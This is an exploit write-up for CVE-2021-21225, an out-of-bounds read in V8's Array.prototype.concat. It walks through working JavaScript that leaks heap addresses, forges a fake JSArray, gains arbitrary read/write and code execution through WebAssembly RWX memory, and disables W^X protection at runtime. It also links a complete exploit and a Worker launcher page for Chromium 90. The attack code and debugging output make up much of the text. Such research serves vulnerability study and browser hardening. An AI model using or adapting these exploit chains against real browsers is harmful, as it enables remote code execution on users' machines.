Exploiting CVE-2021-21225 and disabling W^X
Prerequisite Knowledge
Understanding the basics of V8 exploitation [
link] is a pre-requisite for this post. Reading through CVE-2017-5030's exploit will also make this post easier to understand [
link].
Note: To run the examples in this post use V8 9.0.257.
The Exploit Primitives
As we discovered in
Part1 of this writeup, CVE-2021-21225 gives us the ability to read past the end of a JSArray's
elements pointer, and whatever values are read will be stored to the object returned by
Array.prototype.concat. We have two code paths at our disposal for exploitation.
The first code path we can trigger our vulnerability in is for HOLEY/PACKED_DOUBLE_ELEMENTS arrays. These arrays only hold double values so if we read out-of-bounds from the elements pointer it will read in double values. This will be useful for information leaks.
case HOLEY_DOUBLE_ELEMENTS:
case PACKED_DOUBLE_ELEMENTS: {
Handle<FixedDoubleArray> elements(
FixedDoubleArray::cast(array->elements()), isolate);
int fast_length = static_cast<int>(length);
FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
if (!elements->is_the_hole(j)) {
double double_value = elements->get_scalar(j);
...
visitor->visit(j, element_value);
} else {
...
}
}
});
}
The second code path we can trigger this vulnerability in is for HOLEY/PACKED_ELEMENTS arrays. HOLEY/PACKED_ELEMENTS arrays hold pointers to other JavaScript objects so if we read out-of-bounds from the elements pointer it will read in a pointer to an object! This will be useful later for gaining code execution.
switch (array->GetElementsKind()) {
case PACKED_SMI_ELEMENTS:
case HOLEY_ELEMENTS: {
Handle<FixedArray> elements(FixedArray::cast(array->elements()), isolate);
int fast_length = static_cast<int>(length);
FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
Handle<Object> element_value(elements->get(j), isolate);
...
visitor->visit(j, element_value);
});
break;
}
...
}
These primitives can be succinctly summarized as:
1. An out of bounds read with elements‑>get_scalar(j) where we control j and the resulting double is stored to our TypedArray that was returned by Symbol.species.
2. An out of bounds read with elements‑>get(j) where we control j and the resulting JSObject pointer is stored to our TypedArray that was returned by Symbol.species.
Exploit Strategy
If you've read or written an exploit for CVE-2017-5030 [
ref] then you should have a pretty good understanding of the general strategy we're going to take. However, there are a few new constraints that make the exploitation of CVE-2021-21225 trickier.
Information Leak
First, we'll trigger an information leak by triggering our vulnerability with a HOLEY/PACKED_DOUBLE_ELEMENTS array, allowing us to use the elements‑>get_scalar(j) exploit primitive for as many values j as we choose and the resulting double will be written to our TypedArray.
Trick #1: Use ArrayLiterals for Information
Triggering this primitive with a Literal Array allows us to easily leak the address of the JSArray's map pointer, properties pointer, length, and the elements pointer that we are overflowing.
Literal Arrays and Constructed Arrays are slightly different at a V8 scripting engine level. The main difference is that with Literal Arrays the elements buffer is allocated before the JSArray; whereas with Constructed Arrays the elements buffer is allocated after the JSArray is allocated.
var a = [1.1, 2.2, 3.3, 4.4, 5.5];
%DebugPrint(a);
var b = new Array(5);
%DebugPrint(b);
So if we can read "Element N+1" of a Literal Array it will read the Map pointer of the JSArray we're using for our overflow and "Element N+2" will read the Properties pointer.
Here is this in action along with a few other tricks to make a HOLEY_DOUBLE_ARRAY with a custom Symbol.species and with a { valueOf : function () { ... } } object on it's prototype chain:
var helper = new Helpers();
function information_leak() {
class LeakTypedArray extends Float64Array {}
let lta = new LeakTypedArray(1024);
lta.__defineSetter__('length', function() {})
var a = [
, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9
];
var fake_object = new Float32Array(16);
fake_object[0] = 1.1;
const C = new Function();
C.__defineGetter__(Symbol.species, () => {
return function() { return lta; }
});
a.constructor = C;
Array.prototype[0] = {
valueOf: function() {
a.length = 1;
new ArrayBuffer(0x7fe00000); // Trigger a mark-sweep GC
delete Array.prototype[0];
}
};
var result = Array.prototype.concat.call(a);
helper.state.map = helper.ftoil(result[1]);
helper.state.properties = helper.ftoih(result[1]);
helper.state.elements = helper.ftoil(result[2]);
helper.state.length = helper.ftoih(result[2]);
helper.state.fake_object = fake_object;
helper.state.fake_object_address = helper.state.elements + 0xa0;
helper.state.fake_object_bytearray_address = helper.state.elements + 0x60;
helper.add_ref(a);
%DebugPrint(a);
}
information_leak();
helper.printhex( helper.state.map );
helper.printhex( helper.state.properties );
helper.printhex( helper.state.elements );
helper.printhex( helper.state.length );
Now that we know the address of elements, we can calculate the addresses of objects we allocate after creating the Literal Array. From the example above:
var fake_object = new Float32Array(16);
...
var elements = helper.ftoil(result[2]);
...
var fake_object_address = elements + 0xa0;
var fake_object_bytearray_address = elements + 0x60;
Finding the offsets (
0xa0 and
0x60) can easily be done using a debugger and arithmetic:
debug_session.txt
Trick #2: Triggering Major GC without spraying the heap
There are a few different garbage collection cycles in the V8 scripting engine: Major GCs and Minor GCs. Minor GCs ca be triggered by allocating a large number of objects:
var a = [];
for (var i = 0; i < 100000; i++) { a[i] = new String(""); }
Triggering a Major GC is just as simple, but can be done without spraying any objects into New Space (which in my experience can make some exploits more manageable/reliable):
new ArrayBuffer(0x80000000);
Large ArrayBuffer construction is the simplest way to trigger a Major GC and can be done with a single allocation on most devices. The code path that implements this is: ArrayBufferConstructor => ConstructBuffer => JSArrayBuffer::Attach => AdjustAmountOfExternalAllocatedMemory => ReportExternalAllocationLimitReached => CollectGarbage
Materializing a Fake Object
Now we'll trigger the out-of-bounds read a second time, but this time with a PACKED/HOLEY_ELEMENTS array, allowing us to read a pointer to an Object with elements‑>get at [1].
switch (array->GetElementsKind()) {
case PACKED_ELEMENTS:
case HOLEY_ELEMENTS: {
Handle<FixedArray> elements(FixedArray::cast(array->elements()), isolate);
int fast_length = static_cast<int>(length);
FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
Handle<Object> element_value(elements->get(j), isolate);
...
visitor->visit(j, element_value);
});
break;
}
What is elements‑>get(j) actually reading here? Taking a deeper look at a PACKED_ELEMENTS array's elements we can see that it's storing pointers to JavaScript objects, so elements‑>get(j) is just reading out a pointer to a JavaScript object:
var a = [{}, [], new Uint8Array(1)];
%DebugPrint(a);
What would happen if elements‑>get(19) of the array a above (that's the power our second exploit primitive gives us after all)?
It would read whatever value is on the heap at elements[19], pointer or not, and store it in element_value. The strategy we're going to take to gain code execution goes as follows:
1. Allocate an object after the HOLEY_ELEMNTS array's elements buffer that will overlap with elements[19] that we can read/write to. We'll use new Float32Array(16) for this.
2. We'll write the double 2261634.5098039214 to the Float32Array at the index that overlaps with elements[19].
3. Now we'll trigger the vulnerability, causing elements‑>get(19) to interpret the double we wrote, 2261634.5098039214, as the pointer 0x41414141 [float to hex calculator].
This will crash the program at the address 0xXXX41414141 because that double value is nonsense and doesn't point to a JavaScript object.
As you probably guessed, instead of using the floating-point representation of 0x41414141 we're going to use something more interesting like the floating-point representation of a pointer that points to an area of memory we control and know the address of. Remember that fake_object variable from earlier and the fake_object_bytearray_address we calculated using offsets earlier? We're going to store something in that TypedArray that will be interpreted as a JavaScript Object, but first let's figure out what a JavaScript object is.
Under the covers, a JSArray object is just a 16 byte structure consisting of a pointer to the map, a pointer to a property, a pointer to the elements, and the length of the array:
prop map
0xe00 [ 0804222d 08303a41 ]
length elements
0xe08 [ 00000006 08148631 ]
As you might remember, we leaked all these values earlier with our information leak!
var map = helper.ftoil(result[1]);
var properties = helper.ftoih(result[1]);
var elements = helper.ftoil(result[2]);
var length = helper.ftoih(result[2]);
We can store those leaked values in the fake_object. Then instead of leaving the floating-point representation of 0x41414141 at elements[19], we'll leave the floating-point representation of fake_object_bytearray_address at elements[19] (remember fake_object_bytearray_address is the address of fake_object's storage).
Now elements‑>get(19) will return the Object represented by the values we wrote to fake_object. So the JavaScript engine will now treat the pointer returned by elements‑>get(19) as a JSArray!
Putting it all together:
function create_fake_object() {
class LeakTypedArray extends Float64Array {}
let lta = new LeakTypedArray(1024);
lta.__defineSetter__('length', function() {})
var a = [
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, , 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, {}
];
var fake_jsarray_object_ptr = new Float32Array(16);
fake_jsarray_object_ptr[0] = helper.itof(
helper.state.fake_object_bytearray_address
);
const C = new Function();
C.__defineGetter__(Symbol.species, () => {
return function() { return lta; }
});
a.constructor = C;
helper.state.fake_object[0] = helper.itof( helper.state.map );
helper.state.fake_object[1] = helper.itof( helper.state.properties );
helper.state.fake_object[2] = helper.itof( helper.state.elements );
helper.state.fake_object[3] = helper.itof( helper.state.length );
Array.prototype[19] = {
valueOf: function() {
a.length = 1;
new ArrayBuffer(0x7fe00000);
delete Array.prototype[19];
return 1.1;
}
};
var c = Array.prototype.concat.call(a);
}
There's a problem
Up to this point our exploitation strategy has been identical to exploiting CVE-2017-5030. However, after running our exploit we'll be met with this lovely crash:
==== JS stack trace =========================================
Security context: 0x286608210095 <JSObject>
0: builtin exit frame: concat(this=0x286608382395 <JSArray[1]>,0x286608382395 <JSArray[1]>)
...
4: EntryFrame [pc: 0x560b224e3543]
Received signal 4 ILL_ILLOPN 560b2265b0f2
==== C stack trace ===============================
0x000056555021a3f7 in v8::internal::Isolate::PushStackTraceAndDie
0x00005655504649d3 in v8::internal::LookupIterator::GetRootForNonJSReceiver
0x0000565550463edc in v8::internal::LookupIterator::GetRoot
0x000056555048a348 in v8::internal::LookupIterator::LookupIterator
0x0000565550445829 in v8::internal::JSReceiver::ToPrimitive
0x0000565550486a09 in v8::internal::Object::ConvertToNumberOrNumeric
0x0000565550486a09 in v8::internal::Object::ToNumber
0x0000565550490b8d in v8::internal::Object::SetDataProperty
0x0000565550443846 in v8::internal::JSObject::DefineOwnPropertyIgnoreAttributes
0x0000565550443846 v8::internal::JSObject::CreateDataProperty
0x0000565550122370 in v8::internal::(anonymous namespace)::ArrayConcatVisitor::visit
0x00005655501204e4 in v8::internal::(anonymous namespace)::IterateElements
0x0000560b21af1370 in v8::internal::(anonymous namespace)::Slow_ArrayConcat
0x0000560b21aef4e4 in v8::internal::Builtin_Impl_ArrayConcat
[end of stack trace]
Looking closer at the C stack trace we see that our exploit made it to visitor‑>visit, which called CreateDataProperty:
0x0000565550443846 v8::internal::JSObject::CreateDataProperty
0x0000565550122370 in v8::internal::(anonymous namespace)::ArrayConcatVisitor::visit
Which looks right, our fake JSArray is being stored to the result object just like we wanted. Looking a few functions deeper the problem becomes apparent:
0x0000565550486a09 in v8::internal::Object::ConvertToNumberOrNumeric
0x0000565550486a09 in v8::internal::Object::ToNumber
0x0000565550490b8d in v8::internal::Object::SetDataProperty
0x0000565550443846 in v8::internal::JSObject::DefineOwnPropertyIgnoreAttributes
Remember what caused this vulnerability in the first place? The TypedArray path, and that's the path we're going down again. We're crashing at the exact line [1] that makes this vulnerability possible in the first place, the line that allows { valueOf: function() { ... } } to trigger a callback:
Maybe<bool> Object::SetDataProperty(LookupIterator* it, Handle<Object> value) {
Isolate* isolate = it->isolate();
Handle<JSReceiver> receiver = Handle<JSReceiver>::cast(it->GetReceiver());
Handle<Object> to_assign = value;
if (it->IsElement() && receiver->IsJSObject(isolate) &&
JSObject::cast(*receiver).HasTypedArrayOrRabGsabTypedArrayElements(
isolate)) {
ElementsKind elements_kind = JSObject::cast(*receiver).GetElementsKind();
if (IsBigIntTypedArrayElementsKind(elements_kind)) {
...
} else if (!value->IsNumber() && !value->IsUndefined(isolate)) {
ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, to_assign,
Object::ToNumber(isolate, value),
Nothing<bool>());
...
}
}
}
Overcoming this appeared to be extremely tricky when I first came across this crash and I started to question how feasible it would be to create a reliable exploit for this vulnerability. The line of code that allowed us to trigger this vulnerability is now preventing us from exploiting it. How ironic!
In CVE-2017-5030 visitor‑>visit(element_value, j) was writing to a Proxy object which was fine because Proxy objects can hold references to objects. But for CVE-2021-21225, there appears to be no way around this line of code, we need visitor‑>visit(element_value, j) to store to a TypedArray to trigger the vulnerability, but TypedArrays can only hold numeric values.
But the solution to this puzzle is staring us right in the face and if I've explained this well you might see it too.
Trick #3: Surviving Object::ToNumber(fake_object)
The piece of the puzzle we were missing was a trick we've already used to trigger the vulnerability, the valueOf operator. Remember, Object::ToNumber will trigger whatever callback is in the valueOf property. Using this we can store any object type to a TypedArray.
var array = [1, 2, 3, 4];
array.valueOf = function() {
console.log(this);
return 5;
};
var f64 = new Float64Array(4);
f64[0] = array;
console.log(f64);
The same idea will work with our fake JSArray:
var corrupted_array;
function create_fake_object() {
...
Array.prototype[19] = {
valueOf: function() {
a.length = 1;
new ArrayBuffer(0x7fe00000);
Object.prototype.valueOf = function() {
corrupted_array = this;
delete Object.prototype.valueOf;
throw 'bailout';
return 42;
}
delete Array.prototype[19];
return 1.1;
}
};
...
var c = Array.prototype.concat.call(a);
}
information_leak();
try {
create_fake_object();
} catch(e) {}
print(corrupted_array.length);
helper.state.fake_object[3] = 100;
print(corrupted_array.length);
From here we can easily create arbitrary write, arbitrary read, and
addrOf [
ref] primitives and gain code execution through WebAssembly's RWX space. The final annotated exploit can be found here:
concat_exploit.js. To execute the exploit in Chromium just run version 90.0.4430.72 with the --no-sandbox flag.
<script>new Worker("concat_exploit.js");</script>
Disabling W^X
Trick #4: Leaking the Pointer Compression Isolate Root
The V8 engine has an optimization called Pointer Compression where it only stores the lower 32 bits of 64 bit pointers in the V8 heap and caches the upper 32 bits in a register. This works because the upper 32 bits of the JavaScript heap remains static and never outgrows 4GB of memory. Leaking the upper 32 bits of the V8 heap can be useful for exploitation. For example, if we want to write a V8 heap pointer to an ArrayBuffer's backinsg_store, which is stored as a 64 bit pointer, we'll need the isolate root to create the full 64 bit pointer.
Leaking the register itself seems complicated and would probably require a complex ROP chain to leak, so my strategy for this was to try to find a V8 object that requires storing the register in the V8 heap. The only object I found that met this criterion was the on-heap TypedArray.
When TypedArrays less than 64 bytes in length are allocated, V8 allocates the data_ptr on the heap instead of making an external data_ptr to speed things up. The logic behind V8 TypedArrays uses 64 bit pointer arithmetic in normal situations because external pointers are used in all other cases, so the isolate root will be stored in the external_pointer slot of the object.
var a = new Uint8Array(64);
var u8_on_heap_addr = addrOf(a);
var isolate_root = arbRead(u8_on_heap_addr + 0x20) & 0xffff00000000n;
print(isolated_root);
%DebugPrint(a);
Trick #5: Writing a GC resistant addrOf with LargeObjectSpace Arrays
The V8 scripting engine's heap is divided into multiple "spaces": New Space, Old Space, and Large Object Space. When a Garbage Collector is triggered, objects in New Space will be moved to Old Space. Sometimes objects in Old Space will be moved to a different location in Old Space for compaction, but objects in Large Object space will remain in a static location (in very rare circumstances they can be moved by an evacuation GC).
The size of objects placed in
LargeObjectSpace is determined at compile-time and stored in the constant
kMaxRegularHeapObjectSize [
ref]. If you go through every branch that calculates this constant it's easy to find that any object greater than
1048576 bytes will be placed in large object space. Creating an array with an
elements pointer in Large Object Space is as easy as:
var large_object_array = new Array(1048577);
Having access to a JSArray with an elements pointer that will never move is very useful for exploitation. For example, if we want to implement an addrOf function that won't crash when the Garbage Collector changes the address of the JSArray it's using to leak values, then we should use a Large Object Space JSArray because the address of elements is guaranteed to be static.
var lo_array = new Array(1048577);
var elements_ptr = arbRead(addrOf(lo_array) + 8);
var leak_array_buffer = new ArrayBuffer(64);
var backing_store_ptr = arbRead(leak_array_buffer + 0xc);
arbWrite(backing_store_ptr, elements_ptr);
gc();
gc();
var o = {};
lo_array[0] = o;
leak_array_buffer[0];
Trick #6: Disabling W^X at Runtime
Many years ago when I first started writing V8 exploits it was possible to overwrite the RWX memory of a JIT function with shellcode to achieve code execution. Since then a protection called W^X was enabled on JIT memory that prevents the JIT memory region from being both writable and executable. Exploit writers often get around this by using WebAssembly which still compiles to RWX memory regions (as I did in the exploit above), but I thought it would be fun to write an exploit without using the WebAssembly RWX memory trick. To do this I started looking into the implementation of W^X in the V8 scripting engine.
W^X is enabled with a flag
FLAG_write_protect_code_memory. This flag is stored in the member
write_protect_code_memory_ [
ref] in the
Heap structure. Whenever the Heap initializes a
MemoryChunk that is marked as executable the
write_protect_code_memory_ member is checked. If
write_protect_code_memory_ is not
true then the
MemoryChunk is set to
RWX and the W^X logic is never started.
if (executable == EXECUTABLE) {
if (heap->write_protect_code_memory()) {
chunk->write_unprotect_counter_ =
heap->code_space_memory_modification_scope_depth();
} else {
size_t page_size = MemoryAllocator::GetCommitPageSize();
size_t area_size =
RoundUp(chunk->area_end() - chunk->area_start(), page_size);
CHECK(chunk->reservation_.SetPermissions(
chunk->area_start(), area_size, DefaultWritableCodePermissions()));
}
}
So all we need to do is write a 0 to the address where write_protect_code_memory_ is in memory. We can find the offset in GDB or do pattern matching at runtime to find the address of write_unprotect_counter_.
For example, this script will result in a RWX memory segment:
function jit(a) {
return a[0];
}
arbWrite(write_protect_code_memory_, 0);
jit([0]);
for (var i = 0; i < 200000; i++) {
jit([0]);
}
<script>new Worker("WX_bypass.js");</script>